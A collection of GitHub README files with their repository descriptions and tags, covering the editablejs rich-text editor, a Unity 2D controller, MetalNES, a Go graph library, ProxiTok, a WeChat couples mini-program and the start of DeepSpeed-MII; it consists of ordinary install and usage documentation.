'@editablejs/plugins' const editor = React.useMemo(() => { const editor = withEditable(createEditor()) return withPlugins(editor) }, []) ``` ### History Plugin The `@editablejs/plugin-history` plugin provides undo and redo functionality. ```tsx import { withHistory } from '@editablejs/plugin-history' const editor = React.useMemo(() => { const editor = withEditable(createEditor()) return withHistory(editor) }, []) ``` ### Title Plugin When developing document or blog applications, we usually have a separate title and main content, which is often implemented using an `input` or `textarea` outside of the editor. If in a collaborative environment, since it is independent of the editor, additional work is required to achieve real-time synchronization of the title. The `@editablejs/plugin-title` plugin solves this problem by using the editor's first child node as the title, integrating it into the editor's entire data structure so that it can have the same features as the editor. ```tsx import { withTitle } from '@editablejs/plugin-title' const editor = React.useMemo(() => { const editor = withEditable(createEditor()) return withTitle(editor) }, []) ``` It also has a separate placeholder property for setting the placeholder for the title. ```tsx return withTitle(editor, { placeholder: 'Please enter a title' }) ``` ### Yjs Plugin The `@editablejs/plugin-yjs` plugin provides support for Yjs, which can synchronize the editor's data in real-time to other clients. You need to install the following dependencies: - yjs The core library of Yjs @editablejs/yjs-websocket Yjs websocket communication library In addition, it also provides the implementation of the nodejs server, which you can use to set up a yjs service: ```ts import startServer from '@editablejs/yjs-websocket/server' startServer() ``` - `@editablejs/plugin-yjs` Yjs plugin used with the editor ```bash npm i yjs @editablejs/yjs-websocket @editablejs/plugin-yjs ``` <details> <summary>Instructions:</summary> <p> ```tsx import * as Y from 'yjs' import { withYHistory, withYjs, YjsEditor, withYCursors, CursorData, useRemoteStates } from '@editablejs/plugin-yjs' import { WebsocketProvider } from '@editablejs/yjs-websocket' // Create a yjs document const document = React.useMemo(() => new Y.Doc(), []) // Create a websocket provider const provider = React.useMemo(() => { return typeof window === 'undefined' ? null : new WebsocketProvider(yjsServiceAddress, 'editable', document, { connect: false, }) }, [document]) // Create an editor const editor = React.useMemo(() => { // Get the content field from yjs document, which is of type XmlText const sharedType = document.get('content', Y.XmlText) as Y.XmlText let editor = withYjs(withEditable(createEditor()), sharedType, { autoConnect: false }) if (provider) { // Synchronize cursors with other clients editor = withYCursors(editor, provider.awareness, { data: { name: 'Test User', color: '#f00', }, }) } // History record editor = withHistory(editor) // yjs history record editor = withYHistory(editor) }, [provider]) // Connect to yjs service React.useEffect(() => { provider?.connect() return () => { provider?.disconnect() } }, [provider]) ``` </p> </details> ### Custom Plugin Creating a custom plugin is very simple. We just need to intercept the `renderElement` method, and then determine if the current node is the one we need. If it is, we will render our custom component. <details> <summary>An example of a custom plugin:</summary> <p> ```tsx import { Editable } from '@editablejs/editor' import { Element, Editor } from '@editablejs/models' // Define the type of the plugin export interface MyPlugin extends Element { type: 'my-plugin' // ... You can also define other properties } export const MyPlugin = { // Determine if a node is a plugin for MyPlugin isMyPlugin(editor: Editor, element: Element): element is MyPlugin { return Element.isElement(value) && element.type === 'my-plugin' } } export const withMyPlugin = <T extends Editable>(editor: T) => { const { isVoid, renderElement } = editor // Intercept the isVoid method. If it is a node for MyPlugin, return true // Besides the isVoid method, there are also methods such as `isBlock` `isInline`, which can be intercepted as needed. editor.isVoid = element => { return MyPlugin.isMyPlugin(editor, element) || isVoid(element) } // Intercept the renderElement method. If it is a node for MyPlugin, render the custom component // attributes are the attributes of the node, we need to pass it to the custom component // children are the child nodes of the node, which contains the child nodes of the node. We must render them // element is the current node, and you can find your custom properties in it editor.renderElement = ({ attributes, children, element }) => { if (MyPlugin.isMyPlugin(editor, element)) { return <div {...attributes}> <div>My Plugin</div> {children} </div> } return renderElement({ attributes, children, element }) } return editor } ``` </p> </details> ### Serialization `@editablejs/serializer` provides a serializer that can serialize editor data into `html`, `text`, and `markdown` formats. The serialization transformers for the plugins provided have already been implemented, so you can use them directly. <details> <summary>HTML Serialization</summary> <p> ```tsx // html serializer import { HTMLSerializer } from '@editablejs/serializer/html' // import the HTML serializer transformer of the plugin-mark plugin, and other plugins are the same import { withMarkHTMLSerializerTransform } from '@editablejs/plugin-mark/serializer/html' // use the transformer HTMLSerializer.withEditor(editor, withMarkHTMLSerializerTransform, {}) // serialize to HTML const html = HTMLSerializer.transformWithEditor(editor, { type: 'paragraph', children: [{ text: 'hello', bold: true }] }) // output: <p><strong>hello</strong></p> ``` </p> </details> <details> <summary>Text Serialization</summary> <p> ```tsx // text serializer import { TextSerializer } from '@editablejs/serializer/text' // import the Text serializer transformer of the plugin-mention plugin import { withMentionTextSerializerTransform } from '@editablejs/plugin-mention/serializer/text' // use the transformer TextSerializer.withEditor(editor, withMentionTextSerializerTransform, {}) // serialize to Text const text = TextSerializer.transformWithEditor(editor, { type: 'paragraph', children: [{ text: 'hello' }, { type: 'mention', children: [{ text: '' }], user: { name: 'User', id: '1', }, }] }) // output: hello @User ``` </p> </details> <details> <summary>Markdown Serialization</summary> <p> ```tsx // markdown serializer import { MarkdownSerializer } from '@editablejs/serializer/markdown' // import the Markdown serializer transformer of the plugin-mark plugin import { withMarkMarkdownSerializerTransform } from '@editablejs/plugin-mark/serializer/markdown' // use the transformer MarkdownSerializer.withEditor(editor, withMarkMarkdownSerializerTransform, {}) // serialize to Markdown const markdown = MarkdownSerializer.transformWithEditor(editor, { type: 'paragraph', children: [{ text: 'hello', bold: true }] }) // output: **hello** ``` </p> </details> Every plugin requires importing its own serialization converter, which is cumbersome, so we provide the serialization converters for all built-in plugins in `@editablejs/plugins`. ```tsx import { withHTMLSerializerTransform } from '@editablejs/plugins/serializer/html' import { withTextSerializerTransform } from '@editablejs/plugins/serializer/text' import { withMarkdownSerializerTransform, withMarkdownSerializerPlugin } from '@editablejs/plugins/serializer/markdown' useLayoutEffect(() => { withMarkdownSerializerPlugin(editor) withTextSerializerTransform(editor) withHTMLSerializerTransform(editor) withMarkdownSerializerTransform(editor) }, [editor]) ``` ### Deserialization `@editablejs/serializer` provides a deserializer that can deserialize data in `html`, `text`, and `markdown` formats into editor data. The deserialization transformers for the plugins provided have already been implemented, so you can use them directly. The usage is similar to serialization, except that the package path for importing needs to be changed from `@editablejs/serializer` to `@editablejs/deserializer`. ## Contributors ✨ Welcome 🌟 Stars and 📥 PRs! Let's work together to build a better rich text editor! The [contributing guide](CONTRIBUTING.md) is here, please feel free to read it. If you have a good plugin, please share it with us. Special thanks to [Sparticle](https://www.sparticle.com) for their support and contribution to the open source community. [](https://www.sparticle.com) Finally, thank you to everyone who has contributed to this project! ([emoji key](https://allcontributors.org/docs/en/emoji-key)): <!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section --> <!-- prettier-ignore-start --> <!-- markdownlint-disable --> <table> <tbody> <tr> <td align="center" valign="top" width="14.28%"><a href="https://claviering.github.io/"><img src="https://avatars.githubusercontent.com/u/16227832?v=4?s=100" width="100px;" alt="Kevin Lin"/><br />_{<b>Kevin Lin</b>}</a><br /><a href="https://github.com/big-camel/Editable/commits?author=claviering" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://yaokailun.github.io/"><img src="https://avatars.githubusercontent.com/u/11460856?v=4?s=100" width="100px;" alt="kailunyao"/><br />_{<b>kailunyao</b>}</a><br /><a href="https://github.com/big-camel/Editable/commits?author=YaoKaiLun" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/ren-chen2021"><img src="https://avatars.githubusercontent.com/u/88533891?v=4?s=100" width="100px;" alt="ren.chen"/><br />_{<b>ren.chen</b>}</a><br /><a href="https://github.com/big-camel/Editable/commits?author=ren-chen2021" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/byoungd"><img src="https://avatars.githubusercontent.com/u/16145783?v=4?s=100" width="100px;" alt="han"/><br />_<b>han</b></a><br /><a href="https://github.com/big-camel/Editable/commits?author=byoungd" title="Documentation">📖</a></td> </tr> </tbody> </table> <!-- markdownlint-restore --> <!-- prettier-ignore-end --> <!-- ALL-CONTRIBUTORS-LIST:END --> This project follows the [all-contributors](https://github.com/all-contributors/all-contributors) specification. Contributions of any kind welcome! ## Thanks We would like to thank the following open-source projects for their contributions: - [Slate](https://github.com/ianstormtaylor/slate) - provides support for data modeling. - [Yjs](https://github.com/yjs/yjs) - provides basic support for CRDTs, used for collaborative editing support. - [React](https://github.com/facebook/react) - provides support for the view layer. - [Zustand](https://github.com/pmndrs/zustand) - a minimal front-end state management tool. - [Other dependencies](https://github.com/editablejs/editable/network/dependencies) We use the following open-source projects to help us build a better development experience: - [Turborepo](https://github.com/vercel/turbo) -- pnpm + turbo is a great monorepo manager and build system. ## License See [LICENSE](https://github.com/editablejs/editable/blob/main/LICENSE) for details.

🌱 A collaborative rich-text editor framework that focuses on stability, controllability, extensibility, and performance. 一款强到离谱的富文本编辑器框架，专注于稳定性、可控性、扩展性和性能。

editable,react-editor,rich-editor,slate-editor,text-editor

Matthew-J-Spencer/Ultimate-2D-Controller

# Ultimate 2D Controller #### An updated, smoother version using standard Unity physics is on my [Patreon](https://www.patreon.com/tarodev). A great starting point for your 2D controller. Making use of all the hidden tricks like coyote, buffered actions, speedy apex, anti grav apex, etc Watch the video: https://www.youtube.com/watch?v=3sWTzMsmdx8 <br> Play the game: https://tarodev.itch.io/ultimate-2d-controller ### Leave a ⭐ if you found it helpful! #### User guide:<br> 1. Set the player layer in the Player Controller asset located at Tarodev 2D Controller/Stat Presets/Player Controller <br> 2. That's it! Check the demo scene if you're stuck :) Feel free to use the code in your production games. Attribution welcomed :) ## About the 'Extended' controller (Patreon) Converted to use standard unity physics, making it much easier to use and incorporate into your game.<br> It's even smoother than the current version.<br> Moving platforms & one-way platforms.<br> External forces (explosions, sword hits, bouncy... things).<br> Dash, double jump, crouch/slide.<br> Slopes.<br> Ledge sliding, grabbing & climbing.<br> Tilemap Support.<br> New input system support.<br> Fixed a bunch of bugs.<br> And of course better support.<br> [Click here](https://www.patreon.com/tarodev)

A great starting point for your 2D controller. Making use of all the hidden tricks like coyote, buffered actions, speedy apex, anti grav apex, etc

iaddis/metalnes

# MetalNES Transistor level NES-001 simulation. Builds on OSX only for now. No MMU support. Only possible due to the tremendous efforts of [Visual2C02](https://wiki.nesdev.org/w/index.php/Visual_2C02) and [Visual2A03](http://www.qmtpro.com/~nes/chipimages/visual2a03/). Added support chips for main board. Support voltage ladders for composite output and audio. Needs lots of optimization. <img width="1191" alt="MetalNES-Screen1" src="https://user-images.githubusercontent.com/904052/155648218-39b8e5b4-b89a-47b0-b9e9-ca1e94e74c80.png">

Transistor level NES simulation

dominikbraun/graph

[中文版](README_CN.md) | [English Version](README.md) # <img src="img/banner.png"> A library for creating generic graph data structures and modifying, analyzing, and visualizing them. **Are you using graph? [Check out the graph user survey.](https://forms.gle/MLKUZKMeCRxTfj4v9)** # Features * Generic vertices of any type, such as `int` or `City`. * Graph traits with corresponding validations, such as cycle checks in acyclic graphs. * Algorithms for finding paths or components, such as shortest paths or strongly connected components. * Algorithms for transformations and representations, such as transitive reduction or topological order. * Algorithms for non-recursive graph traversal, such as DFS or BFS. * Vertices and edges with optional metadata, such as weights or custom attributes. * Visualization of graphs using the DOT language and Graphviz. * Integrate any storage backend by using your own `Store` implementation. * Extensive tests with ~90% coverage, and zero dependencies. > Status: Because `graph` is in version 0, the public API shouldn't be considered stable. > This README may contain unreleased changes. Check out the [latest documentation](https://pkg.go.dev/github.com/dominikbraun/graph). # Getting started ``` go get github.com/dominikbraun/graph ``` # Quick examples ## Create a graph of integers  ```go g := graph.New(graph.IntHash) _ = g.AddVertex(1) _ = g.AddVertex(2) _ = g.AddVertex(3) _ = g.AddVertex(4) _ = g.AddVertex(5) _ = g.AddEdge(1, 2) _ = g.AddEdge(1, 4) _ = g.AddEdge(2, 3) _ = g.AddEdge(2, 4) _ = g.AddEdge(2, 5) _ = g.AddEdge(3, 5) ``` ## Create a directed acyclic graph of integers  ```go g := graph.New(graph.IntHash, graph.Directed(), graph.Acyclic()) _ = g.AddVertex(1) _ = g.AddVertex(2) _ = g.AddVertex(3) _ = g.AddVertex(4) _ = g.AddEdge(1, 2) _ = g.AddEdge(1, 3) _ = g.AddEdge(2, 3) _ = g.AddEdge(2, 4) _ = g.AddEdge(3, 4) ``` ## Create a graph of a custom type To understand this example in detail, see the [concept of hashes](https://pkg.go.dev/github.com/dominikbraun/graph#hdr-Hashes). ```go type City struct { Name string } cityHash := func(c City) string { return c.Name } g := graph.New(cityHash) _ = g.AddVertex(london) ``` ## Create a weighted graph  ```go g := graph.New(cityHash, graph.Weighted()) _ = g.AddVertex(london) _ = g.AddVertex(munich) _ = g.AddVertex(paris) _ = g.AddVertex(madrid) _ = g.AddEdge("london", "munich", graph.EdgeWeight(3)) _ = g.AddEdge("london", "paris", graph.EdgeWeight(2)) _ = g.AddEdge("london", "madrid", graph.EdgeWeight(5)) _ = g.AddEdge("munich", "madrid", graph.EdgeWeight(6)) _ = g.AddEdge("munich", "paris", graph.EdgeWeight(2)) _ = g.AddEdge("paris", "madrid", graph.EdgeWeight(4)) ``` ## Perform a Depth-First Search This example traverses and prints all vertices in the graph in DFS order.  ```go g := graph.New(graph.IntHash, graph.Directed()) _ = g.AddVertex(1) _ = g.AddVertex(2) _ = g.AddVertex(3) _ = g.AddVertex(4) _ = g.AddEdge(1, 2) _ = g.AddEdge(1, 3) _ = g.AddEdge(3, 4) _ = graph.DFS(g, 1, func(value int) bool { fmt.Println(value) return false }) ``` ``` 1 3 4 2 ``` ## Find strongly connected components  ```go g := graph.New(graph.IntHash) // Add vertices and edges ... scc, _ := graph.StronglyConnectedComponents(g) fmt.Println(scc) ``` ``` [[1 2 5] [3 4 8] [6 7]] ``` ## Find the shortest path  ```go g := graph.New(graph.StringHash, graph.Weighted()) // Add vertices and weighted edges ... path, _ := graph.ShortestPath(g, "A", "B") fmt.Println(path) ``` ``` [A C E B] ``` ## Find spanning trees  ```go g := graph.New(graph.StringHash, graph.Weighted()) // Add vertices and edges ... mst, _ := graph.MinimumSpanningTree(g) ``` ## Perform a topological sort  ```go g := graph.New(graph.IntHash, graph.Directed(), graph.PreventCycles()) // Add vertices and edges ... // For a deterministic topological ordering, use StableTopologicalSort. order, _ := graph.TopologicalSort(g) fmt.Println(order) ``` ``` [1 2 3 4 5] ``` ## Perform a transitive reduction  ```go g := graph.New(graph.StringHash, graph.Directed(), graph.PreventCycles()) // Add vertices and edges ... transitiveReduction, _ := graph.TransitiveReduction(g) ```  ## Prevent the creation of cycles  ```go g := graph.New(graph.IntHash, graph.PreventCycles()) _ = g.AddVertex(1) _ = g.AddVertex(2) _ = g.AddVertex(3) _ = g.AddEdge(1, 2) _ = g.AddEdge(1, 3) if err := g.AddEdge(2, 3); err != nil { panic(err) } ``` ``` panic: an edge between 2 and 3 would introduce a cycle ``` ## Visualize a graph using Graphviz The following example will generate a DOT description for `g` and write it into the given file. ```go g := graph.New(graph.IntHash, graph.Directed()) _ = g.AddVertex(1) _ = g.AddVertex(2) _ = g.AddVertex(3) _ = g.AddEdge(1, 2) _ = g.AddEdge(1, 3) file, _ := os.Create("./mygraph.gv") _ = draw.DOT(g, file) ``` To generate an SVG from the created file using Graphviz, use a command such as the following: ``` dot -Tsvg -O mygraph.gv ``` The `DOT` function also supports rendering graph attributes: ```go _ = draw.DOT(g, file, draw.GraphAttribute("label", "my-graph")) ``` ### Draw a graph as in this documentation  This graph has been rendered using the following program: ```go package main import ( "os" "github.com/dominikbraun/graph" "github.com/dominikbraun/graph/draw" ) func main() { g := graph.New(graph.IntHash) _ = g.AddVertex(1, graph.VertexAttribute("colorscheme", "blues3"), graph.VertexAttribute("style", "filled"), graph.VertexAttribute("color", "2"), graph.VertexAttribute("fillcolor", "1")) _ = g.AddVertex(2, graph.VertexAttribute("colorscheme", "greens3"), graph.VertexAttribute("style", "filled"), graph.VertexAttribute("color", "2"), graph.VertexAttribute("fillcolor", "1")) _ = g.AddVertex(3, graph.VertexAttribute("colorscheme", "purples3"), graph.VertexAttribute("style", "filled"), graph.VertexAttribute("color", "2"), graph.VertexAttribute("fillcolor", "1")) _ = g.AddVertex(4, graph.VertexAttribute("colorscheme", "ylorbr3"), graph.VertexAttribute("style", "filled"), graph.VertexAttribute("color", "2"), graph.VertexAttribute("fillcolor", "1")) _ = g.AddVertex(5, graph.VertexAttribute("colorscheme", "reds3"), graph.VertexAttribute("style", "filled"), graph.VertexAttribute("color", "2"), graph.VertexAttribute("fillcolor", "1")) _ = g.AddEdge(1, 2) _ = g.AddEdge(1, 4) _ = g.AddEdge(2, 3) _ = g.AddEdge(2, 4) _ = g.AddEdge(2, 5) _ = g.AddEdge(3, 5) file, _ := os.Create("./simple.gv") _ = draw.DOT(g, file) } ``` It has been rendered using the `neato` engine: ``` dot -Tsvg -Kneato -O simple.gv ``` The example uses the [Brewer color scheme](https://graphviz.org/doc/info/colors.html#brewer) supported by Graphviz. ## Storing edge attributes Edges may have one or more attributes which can be used to store metadata. Attributes will be taken into account when [visualizing a graph](#visualize-a-graph-using-graphviz). For example, this edge will be rendered in red color: ```go _ = g.AddEdge(1, 2, graph.EdgeAttribute("color", "red")) ``` To get an overview of all supported attributes, take a look at the [DOT documentation](https://graphviz.org/doc/info/attrs.html). The stored attributes can be retrieved by getting the edge and accessing the `Properties.Attributes` field. ```go edge, _ := g.Edge(1, 2) color := edge.Properties.Attributes["color"] ``` ## Storing edge data It is also possible to store arbitrary data inside edges, not just key-value string pairs. This data is of type `any`. ```go _ = g.AddEdge(1, 2, graph.EdgeData(myData)) ``` The stored data can be retrieved by getting the edge and accessing the `Properties.Data` field. ```go edge, _ := g.Edge(1, 2) myData := edge.Properties.Data ``` ### Updating edge data Edge properties can be updated using `Graph.UpdateEdge`. The following example adds a new `color` attribute to the edge (A,B) and sets the edge weight to 10. ```go _ = g.UpdateEdge("A", "B", graph.EdgeAttribute("color", "red"), graph.EdgeWeight(10)) ``` The method signature and the accepted functional options are exactly the same as for `Graph.AddEdge`. ## Storing vertex attributes Vertices may have one or more attributes which can be used to store metadata. Attributes will be taken into account when [visualizing a graph](#visualize-a-graph-using-graphviz). For example, this vertex will be rendered in red color: ```go _ = g.AddVertex(1, graph.VertexAttribute("style", "filled")) ``` The stored data can be retrieved by getting the vertex using `VertexWithProperties` and accessing the `Attributes` field. ```go vertex, properties, _ := g.VertexWithProperties(1) style := properties.Attributes["style"] ``` To get an overview of all supported attributes, take a look at the [DOT documentation](https://graphviz.org/doc/info/attrs.html). ## Store the graph in a custom storage You can integrate any storage backend by implementing the `Store` interface and initializing a new graph with it: ```go g := graph.NewWithStore(graph.IntHash, myStore) ``` To implement the `Store` interface appropriately, take a look at the [documentation](https://pkg.go.dev/github.com/dominikbraun/graph#Store). [`graph-sql`](https://github.com/dominikbraun/graph-sql) is a ready-to-use SQL store implementation. # Documentation The full documentation is available at [pkg.go.dev](https://pkg.go.dev/github.com/dominikbraun/graph). **Are you using graph? [Check out the graph user survey.](https://forms.gle/MLKUZKMeCRxTfj4v9)**

A library for creating generic graph data structures and modifying, analyzing, and visualizing them.

graph,graph-algorithms,graph-theory,graph-traversal,graph-visualization,algorithm,graphs,graphviz,visualization

pablouser1/ProxiTok

# ProxiTok Use Tiktok with an alternative frontend, inspired by Nitter. ## Features * Privacy: All requests made to TikTok are server-side, so you will never connect to their servers * See user's feed * See trending and discovery tab * See tags * See video by id * Themes * RSS Feed for user, trending and tag (just add /rss to the url) ## Self-hosting Please check [this](https://github.com/pablouser1/ProxiTok/wiki/Self-hosting) wiki article for info on how to self-host your own instance ## Public instances [This](https://github.com/pablouser1/ProxiTok/wiki/Public-instances) wiki article contains a list with all the known public instances. ## Extensions If you want to automatically redirect Tiktok links to ProxiTok you can use: * [Libredirect](https://github.com/libredirect/libredirect) * [Redirector](https://github.com/einaregilsson/Redirector) You can use the following config if you want to use Redirector (you can change https://proxitok.pabloferreiro.es with whatever instance you want to use): ``` Description: TikTok to ProxiTok Example URL: https://www.tiktok.com/@tiktok Include pattern: (.*//.*)(tiktok.com)(.*) Redirect to: https://proxitok.pabloferreiro.es$3 Example result: https://proxitok.pabloferreiro.es/@tiktok Pattern type: Regular Expression Apply to: Main window (address bar) ``` ## TODO / Known issues * Replace placeholder favicon * Make video on /video fit screen and don't overflow * Fix embed styling * Fix crash when invalid vm.tiktok.com/CODE or www.tiktok.com/t/CODE is provided * Add custom amount of videos per page ## Credits * [TheFrenchGhosty](https://thefrenchghosty.me) ([Github](https://github.com/TheFrenchGhosty)): Initial Dockerfile and fixes to a usable state. * [Jennifer Wjertzoch](https://wjertzochjennifer.medium.com): Carousel CSS Implementation ### External libraries * [TikScraperPHP](https://github.com/pablouser1/TikScraperPHP) * [Latte](https://github.com/nette/latte) * [bramus/router](https://github.com/bramus/router) * [PHP dotenv](https://github.com/vlucas/phpdotenv) * [Bulma](https://github.com/jgthms/bulma) and [Bulmaswatch](https://github.com/jenil/bulmaswatch)

Open source alternative frontend for TikTok made using PHP

tiktok,alternative-frontends,php,proxitok,tiktok-scraper

UxxHans/Rainbow-Cats-Personal-WeChat-MiniProgram

# 云开发情侣互动小程序（做任务，攒积分，换商品） ## 序言 这是使用云开发能力构建的情侣互动小程序，可以跟女朋友互动哦，其中使用了云开发基础能力的使用： - **数据库**：对文档型数据库进行读写和管理 - **云函数**：在云端运行的代码，开发者只需编写业务逻辑代码 ## 使用逻辑 打个比方: - 女朋友发布任务->女朋友来做任务->做完后由你来确认完成->女朋友收到积分 - 你发布商品(洗碗券)->女朋友使用积分购买->商品进入到女朋友的库存->女朋友拿着洗碗券叫你洗碗->你洗碗->女朋友将物品(洗碗券)标记为已使用(不可逆) - 这样做的原因是 不想给任何一方能自说自话 增加自己或者对方积分的能力[点击完成任务的人不能是获得积分的人也不能是自己] ## 版本新增 - 将所有非云函数的云逻辑**封装为云函数** - 新增了**仓库系统**，购买了的商品会存入仓库，然后再被使用 - 新增了**搜索框**，可以搜索物品和任务 - 新增了**滑动窗**，可以自动播放显示多张图片 - 新增了**商品和任务预设**，添加商品或任务可以使用预设，非常迅速 - 将新增按钮变为可拖拽的**页面悬浮按钮** - 购买，上架，新建任务的**时间都会被记录**并显示 - 取消了点击左边圆圈来完成或者购买，统一改为**左滑菜单** - 左滑菜单统一用**图标**显示，更加精简 - 使用**特效升级**了详细信息页面与添加页面的美观度 - 添加任务或物品界面积分文本框改为**滑块** - 在商城添加了**顶栏**显示积分，更直观 - 使用**表情符号**简单的增加了美感 ## 效果图与动画 > > ## 部署方式 - 在这里注册小程序开发者: https://mp.weixin.qq.com/cgi-bin/wx - 在这里登录开发者账号: https://mp.weixin.qq.com/ > - 登录之后先在`主页`完成小程序`信息`和`类目` - 然后可以在`管理`中的`版本管理`与`成员管理`中发布小程序体验版并邀请对象使用 > - 随后可以在`开发`中的`开发工具`里下载**微信开发者工具** - 打开微信开发工具->登录->导入我的文件夹-进入工具 - 在左上角五个选项中选择`云开发`->按照提示开通云开发(这里可以选择免费的，不过限量，我开发用的多，6块够用了) > - 进入后点击数据库->在集合名称添加四个集合：`MarketList`, `MissionList`, `StorageList`, `UserList` - 之前使用过上一个版本的，需要清空所有数据，因为字段结构不一样 > - 在`UserList`中添加两个默认记录, 在两个记录中分别添加两个字段: ``` 字段 = _openid | 类型 = string | 值 = 先不填 字段 = credit | 类型 = number | 值 = 0 ``` - 打开云开发的控制台的`概览`选项->复制环境ID - 打开 `miniprogram/envList.js` 将内容全部替换成如下，注意替换环境ID ```js module.exports = { envList: [{ envId:'上述步骤中你获得的环境ID (保留单引号)' }] } ``` - 右键点击 `cloudfunctions` 中的每个文件夹并选择云函数云端安装依赖上传 (有点麻烦但是这是一定要做的) > - 如果云开发里面的云函数页面是这样的就是成功了 > - 没有安装npm或者NodeJs, 需要先在这里安装: https://nodejs.org/dist/v16.15.1/node-v16.15.1-x64.msi - 安装好的，就直接运行`cloudfunctions/Install-WX-Server-SDK.bat` - 不成功的话可以在命令行输入 `npm install --save wx-server-sdk@latest` - 然后创建体验版小程序->通过开发者账号分享到女朋友手机上(要先登录小程序开发者账号) - 在两个手机上运行小程序->分别在两个手机上的小程序里新建任务 - 然后回到云开发控制台的`missionlist`数据库集合->找自己和女朋友的`_openid`变量并记录 - 把这两个记录下来的`_openid`拷贝到云开发控制台`UserList`数据集合里刚刚没填的`_openid`变量中 - 把这两个记录下来的`_openid`拷贝到`miniprogram/app.js`里的`_openidA`和`_openidB`的值里(A是卡比，B是瓦豆) - 在`miniprogram/app.js`里把`userA`和`userB`改成自己和女朋友的名字 - 然后再试试看是不是成功了! (别忘了任务和物品**左滑**可以完成和购买) - 消息提醒功能： - 参考https://blog.csdn.net/hell_orld/article/details/110675777?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522168490366016800180699170%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=168490366016800180699170&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-2-110675777-null-null.142^v87^insert_down28v1,239^v2^insert_chatgpt&utm_term=%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F%E9%80%9A%E7%9F%A5%E4%BA%91%E5%BC%80%E5%8F%91&spm=1018.2226.3001.4187配置自己想要的模板 - 在`miniprogram/pages/MainPage/index.js`和`miniprogram/pages/MissionAdd/index.js`里把模板号换成自己想要的模板号 - 在`cloudfunctions/information/index.js`里把UserA和UserB的openid值进行修改就能使用消息提醒功能了 > - 别忘了最后点击右上角上传->然后在开发者账号上设置小程序为**体验版**->不用去发布去审核 > - 最后如果有兴趣可以继续深入开发, 开发文档: https://developers.weixin.qq.com/miniprogram/dev/component/ ## 旧版效果图 > ## 声明 - 小程序内所有图片均来自网络，此项目非商用，侵删。 - 若想使用此项目为商用，请先告知我，谢谢。

给女朋友做的微信小程序！情侣自己的任务和商城系统！

wechat-mini-program,miniprogram,wechat,weixin

microsoft/DeepSpeed-MII

[](https://github.com/microsoft/DeepSpeed-MII/actions/workflows/formatting.yml) [](https://github.com/microsoft/DeepSpeed-MII/actions/workflows/nv-v100-legacy.yml) [](https://github.com/microsoft/DeepSpeed-MII/actions/workflows/nv-a6000-fastgen.yml) [](https://github.com/Microsoft/DeepSpeed/blob/master/LICENSE) [](https://pypi.org/project/deepspeed-mii/) <!-- [](https://deepspeed.readthedocs.io/en/latest/?badge=latest) --> <div align="center"> <img src="docs/images/mii-white.svg#gh-light-mode-only" width="400px"> <img src="docs/images/mii-dark.svg#gh-dark-mode-only" width="400px"> </div> ## Latest News * [2024/01] [DeepSpeed-FastGen: Introducting Mixtral, Phi-2, and Falcon support with major performance and feature enhancements.](https://github.com/microsoft/DeepSpeed/tree/master/blogs/deepspeed-fastgen/2024-01-19) * [2023/11] [DeepSpeed-FastGen: High-throughput Text Generation for LLMs via MII and DeepSpeed-Inference](https://github.com/microsoft/DeepSpeed/tree/master/blogs/deepspeed-fastgen) * [2022/11] [Stable Diffusion Image Generation under 1 second w. DeepSpeed MII](mii/legacy/examples/benchmark/txt2img) * [2022/10] [Announcing DeepSpeed Model Implementations for Inference (MII)](https://www.deepspeed.ai/2022/10/10/mii.html) # Contents <!-- toc --> - [DeepSpeed-MII](#deepspeed-mii) - [Key Technologies](#key-technologies) - [How does MII work?](#how-does-mii-work) - [Supported Models](#supported-models) - [Getting Started](#getting-started-with-mii) <!-- tocstop --> # DeepSpeed Model Implementations for Inference (MII) <a name="deepspeed-mii"></a> Introducing MII, an open-source Python library designed by DeepSpeed to democratize powerful model inference with a focus on high-throughput, low latency, and cost-effectiveness. * MII features include blocked KV-caching, continuous batching, Dynamic SplitFuse, tensor parallelism, and high-performance CUDA kernels to support fast high throughput text-generation for LLMs such as Llama-2-70B, Mixtral (MoE) 8x7B, and Phi-2. The latest updates in v0.2 add new model families, performance optimizations, and feature enhancements. MII now delivers up to 2.5 times higher effective throughput compared to leading systems such as vLLM. For detailed performance results please see our [latest DeepSpeed-FastGen blog](https://github.com/microsoft/DeepSpeed/tree/master/blogs/deepspeed-fastgen/2024-01-19) and [DeepSpeed-FastGen release blog](https://github.com/microsoft/DeepSpeed/tree/master/blogs/deepspeed-fastgen). <div align="center"> <img src="docs/images/fastgen-24-01-hero-light.png#gh-light-mode-only" width="850px"> <img src="docs/images/fastgen-24-01-hero-dark.png#gh-dark-mode-only" width="850px"> </div> <div align="center"> <img src="docs/images/fastgen-hero-light.png#gh-light-mode-only" width="800px"> <img src="docs/images/fastgen-hero-dark.png#gh-dark-mode-only" width="800px"> </div> * We first [announced MII](https://www.deepspeed.ai/2022/10/10/mii.html) in 2022, which covers all prior releases up to v0.0.9. In addition to language models, we also support accelerating [text2image models like Stable Diffusion](examples/benchmark/txt2img). For more details on our previous releases please see our [legacy APIs](mii/legacy/). # Key Technologies ## MII for High-Throughput Text Generation MII provides accelerated text-generation inference through the use of four key technologies: * Blocked KV Caching * Continuous Batching * Dynamic SplitFuse * High Performance CUDA Kernels For a deeper dive into understanding these features please [refer to our blog](https://github.com/microsoft/DeepSpeed/tree/master/blogs/deepspeed-fastgen) which also includes a detailed performance analysis. ## MII Legacy In the past, MII introduced several [key performance optimizations](https://www.deepspeed.ai/2022/10/10/mii.html#inference-optimizations-with-mii) for low-latency serving scenarios: * DeepFusion for Transformers * Multi-GPU Inference with Tensor-Slicing * ZeRO-Inference for Resource Constrained Systems * Compiler Optimizations # How does MII work? <div align="center"> <img src="docs/images/mii-arch-light.png#gh-light-mode-only" width="800px"> <img src="docs/images/mii-arch-dark.png#gh-dark-mode-only" width="800px"> </div> Figure 1: MII architecture, showing how MII automatically optimizes OSS models using DS-Inference before deploying them. DeepSpeed-FastGen optimizations in the figure have been published in [our blog post](https://github.com/microsoft/DeepSpeed/tree/master/blogs/deepspeed-fastgen). Under-the-hood MII is powered by [DeepSpeed-Inference](https://github.com/microsoft/deepspeed). Based on the model architecture, model size, batch size, and available hardware resources, MII automatically applies the appropriate set of system optimizations to 